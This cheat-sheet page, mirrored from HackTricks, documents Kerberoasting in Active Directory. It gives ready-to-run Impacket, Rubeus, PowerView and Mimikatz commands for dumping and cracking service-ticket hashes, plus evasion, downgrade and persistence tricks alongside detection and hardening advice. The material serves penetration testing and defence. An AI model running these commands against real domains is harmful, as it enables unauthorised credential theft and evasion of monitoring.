daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

kerberoast.md (15294B)


      1 ---
      2 title: "Kerberoast"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/kerberoast.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/kerberoast.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Kerberoast
     14 
     15 ## Kerberoast
     16 
     17 Kerberoasting focuses on the acquisition of TGS tickets, specifically those related to services operating under user accounts in Active Directory (AD), excluding computer accounts. The encryption of these tickets utilizes keys that originate from user passwords, allowing for offline credential cracking. The use of a user account as a service is indicated by a non-empty ServicePrincipalName (SPN) property.
     18 
     19 Any authenticated domain user can request TGS tickets, so no special privileges are needed.<sup>[[4]](#references)[[5]](#references)</sup>
     20 
     21 ### Key Points
     22 
     23 - Targets TGS tickets for services that run under user accounts (i.e., accounts with SPN set; not computer accounts).
     24 - Tickets are encrypted with a key derived from the service account’s password and can be cracked offline.
     25 - No elevated privileges required; any authenticated account can request TGS tickets.
     26 
     27 > [!WARNING]
     28 > Most public tools prefer requesting RC4-HMAC (etype 23) service tickets because they’re faster to crack than AES. RC4 TGS hashes start with `$krb5tgs$23$*`, AES128 with `$krb5tgs$17$*`, and AES256 with `$krb5tgs$18$*`. However, many environments are moving to AES-only. Do not assume only RC4 is relevant.
     29 > Also, avoid “spray-and-pray” roasting. Rubeus’ default kerberoast can query and request tickets for all SPNs and is noisy. Enumerate and target interesting principals first.
     30 
     31 ### Service account secrets & Kerberos crypto cost
     32 
     33 Many services still run under user accounts with hand-managed passwords. The KDC encrypts service tickets with keys derived from those passwords and hands the ciphertext to any authenticated principal, so kerberoasting gives unlimited offline guesses without lockouts or DC telemetry. The encryption mode determines the cracking budget:
     34 
     35 | Mode | Key derivation | Encryption type | Approx. RTX 5090 throughput* | Notes |
     36 | --- | --- | --- | --- | --- |
     37 | AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. |
     38 | RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. |
     39 
     40 *Benchmarks from Chick3nman as cited in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).<sup>[[3]](#references)</sup>
     41 
     42 RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.<sup>[[3]](#references)</sup>
     43 
     44 ### Attack
     45 
     46 #### Linux
     47 
     48 A practical end-to-end example using NetExec to request roastable tickets and Hashcat to crack them is available in reference [1].<sup>[[1]](#references)</sup>
     49 
     50 ```bash
     51 # Metasploit Framework
     52 msf> use auxiliary/gather/get_user_spns
     53 
     54 # Impacket — request and save roastable hashes (prompts for password)
     55 GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
     56 # With NT hash
     57 GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
     58 # Target a specific user’s SPNs only (reduce noise)
     59 GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
     60 
     61 # NetExec — LDAP enumerate + dump $krb5tgs$23/$17/$18 blobs with metadata
     62 netexec ldap <DC_FQDN> -u <USER> -p <PASS> --kerberoast kerberoast.hashes
     63 
     64 # kerberoast by @skelsec (enumerate and roast)
     65 # 1) Enumerate kerberoastable users via LDAP
     66 kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
     67 # 2) Request TGS for selected SPNs and dump
     68 kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
     69 ```
     70 
     71 Multi-feature tools including kerberoast checks:
     72 
     73 ```bash
     74 # ADenum: https://github.com/SecuProject/ADenum
     75 adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
     76 ```
     77 
     78 #### Windows
     79 
     80 - Enumerate kerberoastable users
     81 
     82 ```powershell
     83 # Built-in
     84 setspn.exe -Q */*   # Focus on entries where the backing object is a user, not a computer ($)
     85 
     86 # PowerView
     87 Get-NetUser -SPN | Select-Object serviceprincipalname
     88 
     89 # Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
     90 .\Rubeus.exe kerberoast /stats
     91 ```
     92 
     93 - Technique 1: Ask for TGS and dump from memory
     94 
     95 ```powershell
     96 # Acquire a single service ticket in memory for a known SPN
     97 Add-Type -AssemblyName System.IdentityModel
     98 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"  # e.g. MSSQLSvc/mgmt.domain.local
     99 
    100 # Get all cached Kerberos tickets
    101 klist
    102 
    103 # Export tickets from LSASS (requires admin)
    104 Invoke-Mimikatz -Command '"kerberos::list /export"'
    105 
    106 # Convert to cracking formats
    107 python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
    108 # Optional: convert john -> hashcat etype23 if needed
    109 sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
    110 ```
    111 
    112 - Technique 2: Automatic tools
    113 
    114 ```powershell
    115 # PowerView — single SPN to hashcat format
    116 Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
    117 # PowerView — all user SPNs -> CSV
    118 Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
    119 
    120 # Rubeus — default kerberoast (be careful, can be noisy)
    121 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
    122 # Rubeus — target a single account
    123 .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
    124 # Rubeus — target admins only
    125 .\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
    126 ```
    127 
    128 > [!WARNING]
    129 > A TGS request generates Windows Security Event 4769 (A Kerberos service ticket was requested).
    130 
    131 ### OPSEC and AES-only environments
    132 
    133 - Request RC4 on purpose for accounts without AES:
    134   - Rubeus: `/rc4opsec` uses tgtdeleg to enumerate accounts without AES and requests RC4 service tickets.
    135   - Rubeus: `/tgtdeleg` with kerberoast also triggers RC4 requests where possible.<sup>[[6]](#references)</sup>
    136 - Roast AES-only accounts instead of failing silently:
    137   - Rubeus: `/aes` enumerates accounts with AES enabled and requests AES service tickets (etype 17/18).
    138   - If you already hold a TGT (PTT or from a .kirbi), you can use `/ticket:<blob|path>` with `/spn:<SPN>` or `/spns:<file>` and skip LDAP.
    139 - Targeting, throttling and less noise:
    140   - Use `/user:<sam>`, `/spn:<spn>`, `/resultlimit:<N>`, `/delay:<ms>` and `/jitter:<1-100>`.
    141   - Filter for likely weak passwords using `/pwdsetbefore:<MM-dd-yyyy>` (older passwords) or target privileged OUs with `/ou:<DN>`.<sup>[[8]](#references)</sup>
    142 
    143 Examples (Rubeus):
    144 
    145 ```powershell
    146 # Kerberoast only AES-enabled accounts
    147 .\Rubeus.exe kerberoast /aes /outfile:hashes.aes
    148 # Request RC4 for accounts without AES (downgrade via tgtdeleg)
    149 .\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
    150 # Roast a specific SPN with an existing TGT from a non-domain-joined host
    151 .\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
    152 ```
    153 
    154 ### Cracking
    155 
    156 ```bash
    157 # John the Ripper
    158 john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
    159 
    160 # Hashcat
    161 # RC4-HMAC (etype 23)
    162 hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
    163 # AES128-CTS-HMAC-SHA1-96 (etype 17)
    164 hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
    165 # AES256-CTS-HMAC-SHA1-96 (etype 18)
    166 hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
    167 ```
    168 
    169 ### Persistence / Abuse
    170 
    171 If you control or can modify an account, you can make it kerberoastable by adding an SPN:
    172 
    173 ```powershell
    174 Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
    175 ```
    176 
    177 Downgrade an account to enable RC4 for easier cracking (requires write privileges on the target object):
    178 
    179 ```powershell
    180 # Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective
    181 Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
    182 # Mixed RC4+AES (value 28)
    183 Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
    184 ```
    185 
    186 #### Targeted Kerberoast via GenericWrite/GenericAll over a user (temporary SPN)
    187 
    188 When BloodHound shows that you have control over a user object (e.g., GenericWrite/GenericAll), you can reliably “targeted-roast” that specific user even if they do not currently have any SPNs:<sup>[[9]](#references)</sup>
    189 
    190 - Add a temporary SPN to the controlled user to make it roastable.
    191 - Request a TGS-REP encrypted with RC4 (etype 23) for that SPN to favor cracking.
    192 - Crack the `$krb5tgs$23$...` hash with hashcat.
    193 - Clean up the SPN to reduce footprint.
    194 
    195 Windows (PowerView/Rubeus):
    196 
    197 ```powershell
    198 # Add temporary SPN on the target user
    199 Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/TempSvc-<rand>'} -Verbose
    200 
    201 # Request RC4 TGS for that user (single target)
    202 .\Rubeus.exe kerberoast /user:<targetUser> /nowrap /rc4
    203 
    204 # Remove SPN afterwards
    205 Set-DomainObject -Identity <targetUser> -Clear serviceprincipalname -Verbose
    206 ```
    207 
    208 Linux one-liner (targetedKerberoast.py automates add SPN -> request TGS (etype 23) -> remove SPN):<sup>[[2]](#references)</sup>
    209 
    210 ```bash
    211 targetedKerberoast.py -d '<DOMAIN>' -u <WRITER_SAM> -p '<WRITER_PASS>'
    212 ```
    213 
    214 Crack the output with hashcat autodetect (mode 13100 for `$krb5tgs$23$`):
    215 
    216 ```bash
    217 hashcat <outfile>.hash /path/to/rockyou.txt
    218 ```
    219 
    220 Detection notes: adding/removing SPNs produces directory changes (Event ID 5136/4738 on the target user) and the TGS request generates Event ID 4769. Consider throttling and prompt cleanup.
    221 
    222 You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast
    223 
    224 If you find this error from Linux: `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)` it’s due to local time skew. Sync to the DC:
    225 
    226 - `ntpdate <DC_IP>` (deprecated on some distros)
    227 - `rdate -n <DC_IP>`
    228 
    229 ### Kerberoast without a domain account (AS-requested STs)
    230 
    231 In September 2022, Charlie Clark showed that if a principal does not require pre-authentication, it’s possible to obtain a service ticket via a crafted KRB_AS_REQ by altering the sname in the request body, effectively getting a service ticket instead of a TGT. This mirrors AS-REP roasting and does not require valid domain credentials.
    232 
    233 See details: Semperis write-up “New Attack Paths: AS-requested STs”.<sup>[[10]](#references)</sup>
    234 
    235 > [!WARNING]
    236 > You must provide a list of users because without valid credentials you cannot query LDAP with this technique.
    237 
    238 Linux
    239 
    240 - Impacket (PR #1413):
    241 
    242 ```bash
    243 GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
    244 ```
    245 
    246 Windows
    247 
    248 - Rubeus (PR #139):
    249 
    250 ```powershell
    251 Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
    252 ```
    253 
    254 Related
    255 
    256 If you are targeting AS-REP roastable users, see also:
    257 
    258 [Asreproast](/hacktricks/windows-hardening/active-directory-methodology/asreproast)
    259 
    260 ### Detection
    261 
    262 Kerberoasting can be stealthy. Hunt for Event ID 4769 from DCs and apply filters to reduce noise:
    263 
    264 - Exclude service name `krbtgt` and service names ending with `$` (computer accounts).
    265 - Exclude requests from machine accounts (`*$$@*`).
    266 - Only successful requests (Failure Code `0x0`).
    267 - Track encryption types: RC4 (`0x17`), AES128 (`0x11`), AES256 (`0x12`). Don’t alert only on `0x17`.
    268 
    269 Example PowerShell triage:
    270 
    271 ```powershell
    272 Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
    273   Where-Object {
    274     ($_.Message -notmatch 'krbtgt') -and
    275     ($_.Message -notmatch '\$$') -and
    276     ($_.Message -match 'Failure Code:\s+0x0') -and
    277     ($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
    278     ($_.Message -notmatch '\$@')
    279   } |
    280   Select-Object -ExpandProperty Message
    281 ```
    282 
    283 Additional ideas:
    284 
    285 - Baseline normal SPN usage per host/user; alert on large bursts of distinct SPN requests from a single principal.
    286 - Flag unusual RC4 usage in AES-hardened domains.
    287 
    288 ### Mitigation / Hardening
    289 
    290 - Use gMSA/dMSA or machine accounts for services. Managed accounts have 120+ character random passwords and rotate automatically, making offline cracking impractical.<sup>[[7]](#references)</sup>
    291 - Enforce AES on service accounts by setting `msDS-SupportedEncryptionTypes` to AES-only (decimal 24 / hex 0x18) and then rotating the password so AES keys are derived.<sup>[[7]](#references)</sup>
    292 - Where possible, disable RC4 in your environment and monitor for attempted RC4 usage. On DCs you can use the `DefaultDomainSupportedEncTypes` registry value to steer defaults for accounts without `msDS-SupportedEncryptionTypes` set. Test thoroughly.
    293 - Remove unnecessary SPNs from user accounts.<sup>[[7]](#references)</sup>
    294 - Use long, random service account passwords (25+ chars) if managed accounts are not feasible; ban common passwords and audit regularly.<sup>[[7]](#references)</sup>
    295 
    296 ## References
    297 
    298 - [1] [HTB: Breach – NetExec LDAP kerberoast + hashcat cracking in practice](https://0xdf.gitlab.io/2026/02/10/htb-breach.html)
    299 - [2] [ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
    300 - [3] [Matthew Green – Kerberoasting: Low-Tech, High-Impact Attacks from Legacy Kerberos Crypto (2025-09-10)](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/)
    301 - [4] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
    302 - [5] [ired.team – Active Directory Kerberos Abuse: T1208 Kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
    303 - [6] [ired.team – Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)
    304 - [7] [Microsoft Security Blog (2024-10-11) – Microsoft’s guidance to help mitigate Kerberoasting](https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/)
    305 - [8] [SpecterOps – Rubeus kerberoast command documentation](https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast)
    306 - [9] [HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA](https://0xdf.gitlab.io/2025/09/12/htb-delegate.html)
    307 - [10] [Semperis – New Attack Paths? AS Requested Service Tickets (Charlie Clark, Sept 2022)](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/)